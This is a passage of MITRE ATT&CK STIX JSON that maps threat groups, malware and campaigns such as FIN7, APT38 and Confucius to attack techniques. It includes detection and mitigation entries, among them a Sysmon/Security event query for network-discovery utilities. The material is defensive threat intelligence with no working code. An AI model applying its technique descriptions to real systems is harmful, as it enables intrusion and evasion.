"relationship", "id": "relationship--95ca9378-9ec1-43cb-9ffb-5f7c79cf7898", "created": "2022-06-14T14:42:40.473Z", "x_mitre_version": "0.1", "external_references": [{"source_name": "Kaspersky Lyceum October 2021", "url": "https://vblocalhost.com/uploads/VB2021-Kayal-etal.pdf", "description": "Kayal, A. et al. (2021, October). LYCEUM REBORN: COUNTERINTELLIGENCE IN THE MIDDLE EAST. Retrieved June 14, 2022."}], "x_mitre_deprecated": false, "revoked": false, "description": "[Kevin](https://attack.mitre.org/software/S1020) can use the `ShowWindow` API to avoid detection.(Citation: Kaspersky Lyceum October 2021)", "modified": "2022-06-14T14:42:40.473Z", "relationship_type": "uses", "source_ref": "malware--e7863f5d-cb6a-4f81-8804-0a635eec160a", "target_ref": "attack-pattern--391d824f-0ef1-47a0-b0ee-c59a75e27670", "x_mitre_attack_spec_version": "2.1.0", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"type": "relationship", "id": "relationship--95d0ca69-0e05-4f68-ba95-99094f01e140", "created": "2022-09-27T17:49:31.424Z", "revoked": false, "external_references": [{"source_name": "FoxIT Wocao December 2019", "description": "Dantzig, M. v., Schamper, E. (2019, December 19). Operation Wocao: Shining a light on one of China\u2019s hidden hacking groups. Retrieved October 8, 2020.", "url": "https://www.fox-it.com/media/kadlze5c/201912_report_operation_wocao.pdf"}], "object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "modified": "2022-09-27T17:49:31.424Z", "description": "During [Operation Wocao](https://attack.mitre.org/campaigns/C0014), threat actors injected code into a selected process, which in turn launches a command as a child process of the original.(Citation: FoxIT Wocao December 2019)", "relationship_type": "uses", "source_ref": "campaign--b03d5112-e23a-4ac8-add0-be7502d24eff", "target_ref": "attack-pattern--43e7dc91-05b2-474c-b9ac-2ed4fe101f4d", "x_mitre_deprecated": false, "x_mitre_version": "0.1", "x_mitre_attack_spec_version": "2.1.0", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "type": "relationship", "id": "relationship--95d15400-aa0c-4382-be3f-49f931b81f27", "created": "2021-12-27T16:53:13.984Z", "x_mitre_version": "1.0", "external_references": [{"source_name": "TrendMicro Confucius APT Aug 2021", "url": "https://www.trendmicro.com/en_us/research/21/h/confucius-uses-pegasus-spyware-related-lures-to-target-pakistani.html", "description": "Lunghi, D. (2021, August 17). Confucius Uses Pegasus Spyware-related Lures to Target Pakistani Military. Retrieved December 26, 2021."}, {"source_name": "Uptycs Confucius APT Jan 2021", "url": "https://www.uptycs.com/blog/confucius-apt-deploys-warzone-rat", "description": "Uptycs Threat Research Team. (2021, January 12). Confucius APT deploys Warzone RAT. Retrieved December 17, 2021."}], "x_mitre_deprecated": false, "revoked": false, "description": "[Confucius](https://attack.mitre.org/groups/G0142) has downloaded additional files and payloads onto a compromised host following initial access.(Citation: Uptycs Confucius APT Jan 2021)(Citation: TrendMicro Confucius APT Aug 2021)", "modified": "2022-06-30T20:15:32.704Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "relationship_type": "uses", "source_ref": "intrusion-set--6eded342-33e5-4451-b6b2-e1c62863129f", "target_ref": "attack-pattern--e6919abc-99f9-4c6c-95a5-14761e7b2add", "x_mitre_attack_spec_version": "2.1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--95d43b58-992e-4970-b22b-54f0da8ca4cd", "type": "relationship", "created": "2021-06-29T15:52:55.594Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "external_references": [{"source_name": "Bitdefender Naikon April 2021", "url": "https://www.bitdefender.com/files/News/CaseStudies/study/396/Bitdefender-PR-Whitepaper-NAIKON-creat5397-en-EN.pdf", "description": "Vrabie, V. (2021, April 23). NAIKON \u2013 Traces from a Military Cyber-Espionage Operation. Retrieved June 29, 2021."}], "modified": "2021-06-29T15:52:55.594Z", "description": "[RainyDay](https://attack.mitre.org/software/S0629) can use services to establish persistence.(Citation: Bitdefender Naikon April 2021)", "relationship_type": "uses", "source_ref": "malware--29231689-5837-4a7a-aafc-1b65b3f50cc7", "target_ref": "attack-pattern--2959d63f-73fd-46a1-abd2-109d7dcede32", "x_mitre_version": "1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--95d7ffff-dcac-4f3c-9177-3c8158da71bc", "type": "relationship", "created": "2022-03-30T14:26:51.859Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "modified": "2022-03-30T14:26:51.859Z", "description": "Monitor for changes made to the Office Test Registry key. Collect events related to Registry key modification for keys that could be used for Office-based persistence. Since v13.52, Autoruns can detect tasks set up using the Office Test Registry key.(Citation: Palo Alto Office Test Sofacy)", "source_ref": "x-mitre-data-component--da85d358-741a-410d-9433-20d6269a6170", "target_ref": "attack-pattern--ed7efd4d-ce28-4a19-a8e6-c58011eb2c7a", "relationship_type": "detects", "x_mitre_attack_spec_version": "2.1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "external_references": [{"source_name": "Palo Alto Office Test Sofacy", "description": "Falcone, R. (2016, July 20). Technical Walkthrough: Office Test Persistence Method Used In Recent Sofacy Attacks. Retrieved July 3, 2017.", "url": "https://researchcenter.paloaltonetworks.com/2016/07/unit42-technical-walkthrough-office-test-persistence-method-used-in-recent-sofacy-attacks/"}]}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--95d846ca-5705-4a69-9d76-7d886ce86cec", "type": "relationship", "created": "2020-10-19T23:54:29.872Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "external_references": [{"source_name": "US-CERT-TA18-106A", "url": "https://www.us-cert.gov/ncas/alerts/TA18-106A", "description": "US-CERT. (2018, April 20). Alert (TA18-106A) Russian State-Sponsored Cyber Actors Targeting Network Infrastructure Devices. Retrieved October 19, 2020."}], "modified": "2020-10-22T01:54:23.019Z", "description": "Configure intrusion prevention devices to detect SNMP queries and commands from unauthorized sources.(Citation: US-CERT-TA18-106A)", "relationship_type": "mitigates", "source_ref": "course-of-action--12241367-a8b7-49b4-b86e-2236901ba50c", "target_ref": "attack-pattern--ee7ff928-801c-4f34-8a99-3df965e581a5", "x_mitre_version": "1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--95d8ef7d-47b2-438d-921c-902dbb3467bb", "type": "relationship", "created": "2020-10-07T15:35:14.636Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "external_references": [{"source_name": "Trustwave Pillowmint June 2020", "url": "https://www.trustwave.com/en-us/resources/blogs/spiderlabs-blog/pillowmint-fin7s-monkey-thief/", "description": "Trustwave SpiderLabs. (2020, June 22). Pillowmint: FIN7\u2019s Monkey Thief . Retrieved July 27, 2020."}, {"source_name": "CrowdStrike Carbon Spider August 2021", "url": "https://www.crowdstrike.com/blog/carbon-spider-embraces-big-game-hunting-part-1/", "description": "Loui, E. and Reynolds, J. (2021, August 30). CARBON SPIDER Embraces Big Game Hunting, Part 1. Retrieved September 20, 2021."}], "modified": "2021-09-22T14:24:19.772Z", "description": "(Citation: Trustwave Pillowmint June 2020)(Citation: CrowdStrike Carbon Spider August 2021)", "relationship_type": "uses", "source_ref": "intrusion-set--3753cc21-2dae-4dfb-8481-d004e74502cc", "target_ref": "malware--bd7a9e13-69fa-4243-a5e5-04326a63f9f2", "x_mitre_version": "1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--95dbd3ec-820c-47af-9734-78c39b092bc4", "type": "relationship", "created": "2019-10-07T19:05:49.015Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "external_references": [{"source_name": "Unit42 BabyShark Apr 2019", "url": "https://unit42.paloaltonetworks.com/babyshark-malware-part-two-attacks-continue-using-kimjongrat-and-pcrat/", "description": "Lim, M.. (2019, April 26). BabyShark Malware Part Two \u2013 Attacks Continue Using KimJongRAT and PCRat . Retrieved October 7, 2019."}], "modified": "2019-10-07T19:05:49.015Z", "description": "[BabyShark](https://attack.mitre.org/software/S0414) has cleaned up all files associated with the secondary payload execution.(Citation: Unit42 BabyShark Apr 2019)", "relationship_type": "uses", "source_ref": "malware--d1b7830a-fced-4be3-a99c-f495af9d9e1b", "target_ref": "attack-pattern--d63a3fb8-9452-4e9d-a60a-54be68d5998c", "x_mitre_version": "1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"type": "relationship", "id": "relationship--95dce028-9046-4bcf-a949-2a0bc40d5038", "created": "2021-03-19T13:27:51.792Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "revoked": false, "external_references": [{"source_name": "Trend Micro Muddy Water March 2021", "description": "Peretz, A. and Theck, E. (2021, March 5). Earth Vetala \u2013 MuddyWater Continues to Target Organizations in the Middle East. Retrieved March 18, 2021.", "url": "https://www.trendmicro.com/en_us/research/21/c/earth-vetala---muddywater-continues-to-target-organizations-in-t.html"}], "object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "modified": "2024-03-29T17:26:28.162Z", "description": "[MuddyWater](https://attack.mitre.org/groups/G0069) has developed tools in Python including [Out1](https://attack.mitre.org/software/S0594).(Citation: Trend Micro Muddy Water March 2021)", "relationship_type": "uses", "source_ref": "intrusion-set--269e8108-68c6-4f99-b911-14b2e765dec2", "target_ref": "attack-pattern--cc3502b5-30cc-4473-ad48-42d51a6ef6d1", "x_mitre_deprecated": false, "x_mitre_version": "1.0", "x_mitre_attack_spec_version": "3.2.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "type": "relationship", "id": "relationship--95df0f16-1c35-4603-baae-4559113f9a0b", "created": "2022-05-27T14:20:16.906Z", "x_mitre_version": "0.1", "external_references": [{"source_name": "DFIR Report APT35 ProxyShell March 2022", "url": "https://thedfirreport.com/2022/03/21/apt35-automates-initial-access-using-proxyshell", "description": "DFIR Report. (2022, March 21). APT35 Automates Initial Access Using ProxyShell. Retrieved May 25, 2022."}], "x_mitre_deprecated": false, "revoked": false, "description": "[Magic Hound](https://attack.mitre.org/groups/G0059) has used quser.exe to identify existing RDP connections.(Citation: DFIR Report APT35 ProxyShell March 2022)", "modified": "2022-05-27T14:20:16.906Z", "relationship_type": "uses", "source_ref": "intrusion-set--f9d6633a-55e6-4adc-9263-6ae080421a13", "target_ref": "attack-pattern--7e150503-88e7-4861-866b-ff1ac82c4475", "x_mitre_attack_spec_version": "2.1.0", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--95e4e360-b867-48b4-a494-d9d148232b70", "type": "relationship", "created": "2020-03-29T17:17:31.597Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "modified": "2022-03-25T15:47:48.309Z", "description": "Consider using application control to prevent execution of binaries that are susceptible to abuse and not required for a given system or network.", "relationship_type": "mitigates", "source_ref": "course-of-action--47e0e9fe-96ce-4f65-8bb1-8be1feacb5db", "target_ref": "attack-pattern--457c7820-d331-465a-915e-42f85500ccc4", "x_mitre_version": "1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--95e5fd0e-b9c1-4efa-b462-a922456401e6", "type": "relationship", "created": "2020-05-06T21:31:07.341Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "external_references": [{"source_name": "ESET Okrum July 2019", "url": "https://www.welivesecurity.com/wp-content/uploads/2019/07/ESET_Okrum_and_Ketrican.pdf", "description": "Hromcova, Z. (2019, July). OKRUM AND KETRICAN: AN OVERVIEW OF RECENT KE3CHANG GROUP ACTIVITY. Retrieved May 6, 2020."}], "modified": "2020-05-07T17:54:13.483Z", "description": "[Okrum](https://attack.mitre.org/software/S0439) can identify proxy servers configured and used by the victim, and use it to make HTTP requests to C2 its server.(Citation: ESET Okrum July 2019)", "relationship_type": "uses", "source_ref": "malware--4b6ec280-7bbb-48ff-ae59-b189520ebe83", "target_ref": "attack-pattern--69b8fd78-40e8-4600-ae4d-662c9d7afdb3", "x_mitre_version": "1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--95e80511-d9ec-4001-8f49-37bc4ed71379", "type": "relationship", "created": "2021-10-11T18:29:51.341Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "external_references": [{"source_name": "Kaspersky Ferocious Kitten Jun 2021", "url": "https://securelist.com/ferocious-kitten-6-years-of-covert-surveillance-in-iran/102806/", "description": "GReAT. (2021, June 16). Ferocious Kitten: 6 Years of Covert Surveillance in Iran. Retrieved September 22, 2021."}], "modified": "2021-10-15T15:03:46.317Z", "description": "[MarkiRAT](https://attack.mitre.org/software/S0652) can gather information from the Keepass password manager.(Citation: Kaspersky Ferocious Kitten Jun 2021) ", "relationship_type": "uses", "source_ref": "malware--532c6004-b1e8-415b-9516-f7c14ba783b1", "target_ref": "attack-pattern--315f51f0-6b03-4c1e-bfb2-84740afb8e21", "x_mitre_version": "1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"type": "relationship", "id": "relationship--95e83e36-ba44-4e8f-8afe-ff6622fd6f84", "created": "2023-04-10T16:43:01.816Z", "revoked": false, "external_references": [{"source_name": "Bitdefender LuminousMoth July 2021", "description": "Botezatu, B and etl. (2021, July 21). LuminousMoth - PlugX, File Exfiltration and Persistence Revisited. Retrieved October 20, 2022.", "url": "https://www.bitdefender.com/blog/labs/luminousmoth-plugx-file-exfiltration-and-persistence-revisited"}, {"source_name": "Kaspersky LuminousMoth July 2021", "description": "Lechtik, M, and etl. (2021, July 14). LuminousMoth APT: Sweeping attacks for the chosen few. Retrieved October 20, 2022.", "url": "https://securelist.com/apt-luminousmoth/103332/"}], "object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "modified": "2023-04-10T16:43:01.816Z", "description": "[LuminousMoth](https://attack.mitre.org/groups/G1014) has used malware that scans for files in the Documents, Desktop, and Download folders and in other drives.(Citation: Kaspersky LuminousMoth July 2021)(Citation: Bitdefender LuminousMoth July 2021)", "relationship_type": "uses", "source_ref": "intrusion-set--b7f627e2-0817-4cd5-8d50-e75f8aa85cc6", "target_ref": "attack-pattern--7bc57495-ea59-4380-be31-a64af124ef18", "x_mitre_deprecated": false, "x_mitre_version": "0.1", "x_mitre_attack_spec_version": "3.1.0", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--95ed1db5-c388-4b1b-9824-9703b248f798", "type": "relationship", "created": "2018-10-17T00:14:20.652Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "external_references": [{"url": "https://blog.talosintelligence.com/2018/07/smoking-guns-smoke-loader-learned-new.html#more", "description": "Baker, B., Unterbrink H. (2018, July 03). Smoking Guns - Smoke Loader learned new tricks. Retrieved July 5, 2018.", "source_name": "Talos Smoke Loader July 2018"}], "modified": "2019-06-24T19:07:12.675Z", "description": "[Smoke Loader](https://attack.mitre.org/software/S0226) injects into the Internet Explorer process.(Citation: Talos Smoke Loader July 2018)", "relationship_type": "uses", "source_ref": "malware--0c824410-58ff-49b2-9cf2-1c96b182bdf0", "target_ref": "attack-pattern--43e7dc91-05b2-474c-b9ac-2ed4fe101f4d", "x_mitre_version": "1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--95ef5734-a617-44c1-aee8-bddfadaab6d1", "type": "relationship", "created": "2022-03-30T14:26:51.848Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "modified": "2022-03-30T14:26:51.848Z", "description": "Monitor and analyze traffic patterns and packet inspection associated to protocol(s) that do not follow the expected protocol standards and traffic flows (e.g extraneous packets that do not belong to established flows, gratuitous or anomalous traffic patterns, anomalous syntax, or structure). Consider correlation with process monitoring and command line to detect anomalous processes execution and command line arguments associated to traffic patterns (e.g. monitor anomalies in use of files that do not normally initiate connections for respective protocol(s)).", "source_ref": "x-mitre-data-component--3772e279-27d6-477a-9fe3-c6beb363594c", "target_ref": "attack-pattern--69b8fd78-40e8-4600-ae4d-662c9d7afdb3", "relationship_type": "detects", "x_mitre_attack_spec_version": "2.1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--95f2f687-4a70-4611-a420-2b8b53e2ee26", "type": "relationship", "created": "2020-05-20T19:54:06.570Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "external_references": [{"source_name": "TrendMicro Tropic Trooper May 2020", "url": "https://documents.trendmicro.com/assets/Tech-Brief-Tropic-Trooper-s-Back-USBferry-Attack-Targets-Air-gapped-Environments.pdf", "description": "Chen, J.. (2020, May 12). Tropic Trooper\u2019s Back: USBferry Attack Targets Air gapped Environments. Retrieved May 20, 2020."}], "modified": "2020-05-29T13:31:07.771Z", "description": "[USBferry](https://attack.mitre.org/software/S0452) can execute rundll32.exe in memory to avoid detection.(Citation: TrendMicro Tropic Trooper May 2020)\t", "relationship_type": "uses", "source_ref": "malware--75bba379-4ba1-467e-8c60-ec2b269ee984", "target_ref": "attack-pattern--045d0922-2310-4e60-b5e4-3302302cb3c5", "x_mitre_version": "1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--95f54d2e-cfa0-4afc-a5f4-9da7da55242a", "type": "relationship", "created": "2019-04-12T15:55:48.091Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "external_references": [{"source_name": "FireEye APT38 Oct 2018", "url": "https://content.fireeye.com/apt/rpt-apt38", "description": "FireEye. (2018, October 03). APT38: Un-usual Suspects. Retrieved November 6, 2018."}], "modified": "2019-09-09T19:10:53.562Z", "description": "[APT38](https://attack.mitre.org/groups/G0082) has used a custom MBR wiper named BOOTWRECK to render systems inoperable.(Citation: FireEye APT38 Oct 2018)", "relationship_type": "uses", "source_ref": "intrusion-set--00f67a77-86a4-4adf-be26-1a54fc713340", "target_ref": "attack-pattern--0af0ca99-357d-4ba1-805f-674fdfb7bef9", "x_mitre_version": "1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "type": "relationship", "id": "relationship--95f55522-39ba-4724-899f-b33178c6da74", "created": "2022-03-30T14:26:51.847Z", "x_mitre_version": "0.1", "x_mitre_deprecated": false, "revoked": false, "description": "Monitor for newly constructed network connections that may attempt to exfiltrate data over Bluetooth rather than the command and control channel. Processes utilizing the network that do not normally have network communication or have never been seen before are suspicious.", "modified": "2022-04-08T12:52:10.906Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "relationship_type": "detects", "source_ref": "x-mitre-data-component--181a9f8c-c780-4f1f-91a8-edb770e904ba", "target_ref": "attack-pattern--613d08bc-e8f4-4791-80b0-c8b974340dfd", "x_mitre_attack_spec_version": "2.1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"type": "relationship", "id": "relationship--95f6f70c-b48a-4aa2-8c9e-fc680bf75f01", "created": "2022-03-30T14:26:51.872Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "revoked": false, "object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "modified": "2024-03-27T16:37:30.253Z", "description": "Monitor for executed processes (such as ipconfig/ifconfig and arp) with arguments that may look for details about the network configuration and settings, such as IP and/or MAC addresses.\n\nNote: The Analytic looks for the creation of [ipconfig](https://attack.mitre.org/software/S0100), [route](https://attack.mitre.org/software/S0103), and [nbtstat](https://attack.mitre.org/software/S0102) processes, all of which are system administration utilities that can be used for the purpose of system network configuration discovery. If these tools are commonly used in your environment (e.g., by system administrators) this may lead to false positives and this analytic will therefore require tuning. \n\nAnalytic 1 - Suspicious Process\n\n<code>(source=\"*WinEventLog:Microsoft-Windows-Sysmon/Operational\" EventCode=\"1\") OR (source=\"*WinEventLog:Security\" EventCode=\"4688\") AND\n  (Image=\"C:\\\\Windows\\\\System32\\\\ipconfig.exe\" OR\n   Image=\"C:\\\\Windows\\\\System32\\\\route.exe\" OR\n   Image=\"C:\\\\Windows\\\\System32\\\\nbtstat.exe\")</code>", "relationship_type": "detects", "source_ref": "x-mitre-data-component--3d20385b-24ef-40e1-9f56-f39750379077", "target_ref": "attack-pattern--707399d6-ab3e-4963-9315-d9d3818cd6a0", "x_mitre_deprecated": false, "x_mitre_version": "0.1", "x_mitre_attack_spec_version": "3.2.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--95fac0e8-32e3-4854-b542-5eb897d76f2e", "type": "relationship", "created": "2019-04-23T14:59:04.098Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "external_references": [{"source_name": "GitHub PoshC2", "url": "https://github.com/nettitude/PoshC2_Python", "description": "Nettitude. (2018, July 23). Python Server for PoshC2. Retrieved April 23, 2019."}], "modified": "2019-09-16T17:23:49.001Z", "description": "[PoshC2](https://attack.mitre.org/software/S0378) contains multiple modules for injecting into processes, such as <code>Invoke-PSInject</code>.(Citation: GitHub PoshC2)", "relationship_type": "uses", "source_ref": "tool--4b57c098-f043-4da2-83ef-7588a6d426bc", "target_ref": "attack-pattern--43e7dc91-05b2-474c-b9ac-2ed4fe101f4d", "x_mitre_version": "1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--95fc8b91-eda2-49e9-b2fb-b3cdfacc0eaa", "type": "relationship", "created": "2021-06-18T15:26:55.711Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "external_references": [{"source_name": "Unit 42 Siloscape Jun 2021", "url": "https://unit42.paloaltonetworks.com/siloscape/", "description": "Prizmant, D. (2021, June 7). Siloscape: First Known Malware Targeting Windows Containers to Compromise Cloud Environments. Retrieved June 9, 2021."}], "modified": "2021-09-09T13:19:36.477Z", "description": "[Siloscape](https://attack.mitre.org/software/S0623) has decrypted the password of the C2 server with a simple byte by byte XOR. [Siloscape](https://attack.mitre.org/software/S0623) also writes both an archive of [Tor](https://attack.mitre.org/software/S0183) and the <code>unzip</code> binary to disk from data embedded within the payload using Visual Studio\u2019s Resource Manager.(Citation: Unit 42 Siloscape Jun 2021)", "relationship_type": "uses", "source_ref": "malware--4fbd565b-bf55-4ac7-80b4-b183a7b64b9c", "target_ref": "attack-pattern--3ccef7ae-cb5e-48f6-8302-897105fbf55c", "x_mitre_version": "1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"type": "relationship", "id": "relationship--95fc970d-98cd-4bc9-895a-9534ba89c795", "created": "2018-04-18T17:59:24.739Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "revoked": false, "external_references": [{"source_name": "FireEye Obfuscation June 2017", "description": "Bohannon, D. & Carr N. (2017, June 30). Obfuscation in the Wild: Targeted Attackers Lead the Way in Evasion Techniques. Retrieved February 12, 2018.", "url": "https://web.archive.org/web/20170923102302/https://www.fireeye.com/blog/threat-research/2017/06/obfuscation-in-the-wild.html"}, {"source_name": "FireEye FIN7 Aug 2018", "description": "Carr, N., et al. (2018, August 01). On the Hunt for FIN7: Pursuing an Enigmatic and Evasive Global Criminal Operation. Retrieved August 23, 2018.", "url": "https://www.fireeye.com/blog/threat-research/2018/08/fin7-pursuing-an-enigmatic-and-evasive-global-criminal-operation.html"}, {"source_name": "CrowdStrike Carbon Spider August 2021", "description": "Loui, E. and Reynolds, J. (2021, August 30). CARBON SPIDER Embraces Big Game Hunting, Part 1. Retrieved September 20, 2021.", "url": "https://www.crowdstrike.com/blog/carbon-spider-embraces-big-game-hunting-part-1/"}], "object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "modified": "2023-03-22T03:51:36.200Z", "description": "[FIN7](https://attack.mitre.org/groups/G0046) has used fragmented strings, environment variables, standard input (stdin), and native character-replacement functionalities to obfuscate commands.(Citation: FireEye Obfuscation June 2017)(Citation: FireEye FIN7 Aug 2018)(Citation: CrowdStrike Carbon Spider August 2021)", "relationship_type": "uses", "source_ref": "intrusion-set--3753cc21-2dae-4dfb-8481-d004e74502cc", "target_ref": "attack-pattern--d511a6f6-4a33-41d5-bc95-c343875d1377", "x_mitre_deprecated": false, "x_mitre_version": "1.0", "x_mitre_attack_spec_version": "3.1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--96007b55-dbe3-4127-b2ec-3bfe30a911b9", "type": "relationship", "created": "2022-03-30T14:26:51.857Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "modified": "2022-03-30T14:26:51.857Z", "description": "Monitor use of HTA files. If they are not typically used within an environment then execution of them may be suspicious", "source_ref": "x-mitre-data-component--2b3bfe19-d59a-460d-93bb-2f546adc2d2c", "target_ref": "attack-pattern--840a987a-99bd-4a80-a5c9-0cb2baa6cade", "relationship_type": "detects", "x_mitre_attack_spec_version": "2.1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--96014091-aba9-4b8f-ac6a-6cdeb593cf30", "type": "relationship", "created": "2020-02-12T14:37:27.517Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "external_references": [{"url": "https://security.berkeley.edu/node/94", "description": "Berkeley Security, University of California. (n.d.). Securing Remote Desktop for System Administrators. Retrieved November 4, 2014.", "source_name": "Berkley Secure"}], "modified": "2022-03-28T16:07:44.895Z", "description": "Use multi-factor authentication for remote logins.(Citation: Berkley Secure)", "relationship_type": "mitigates", "source_ref": "course-of-action--b045d015-6bed-4490-bd38-56b41ece59a0", "target_ref": "attack-pattern--eb062747-2193-45de-8fa2-e62549c37ddf", "x_mitre_version": "1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--96062ede-31e8-4777-8b81-39e8a9e8b88e", "type": "relationship", "created": "2021-03-24T20:25:01.292Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "external_references": [{"source_name": "Antiy CERT Ramsay April 2020", "url": "https://www.programmersought.com/article/62493896999/", "description": "Antiy CERT. (2020, April 20). Analysis of Ramsay components of Darkhotel's infiltration and isolation network. Retrieved March 24, 2021."}], "modified": "2021-03-24T20:25:01.292Z", "description": "[Ramsay](https://attack.mitre.org/software/S0458) has created Registry Run keys to establish persistence.(Citation: Antiy CERT Ramsay April 2020)", "relationship_type": "uses", "source_ref": "malware--ba09b86c-1c40-4ff1-bda0-0d8c4ca35997", "target_ref": 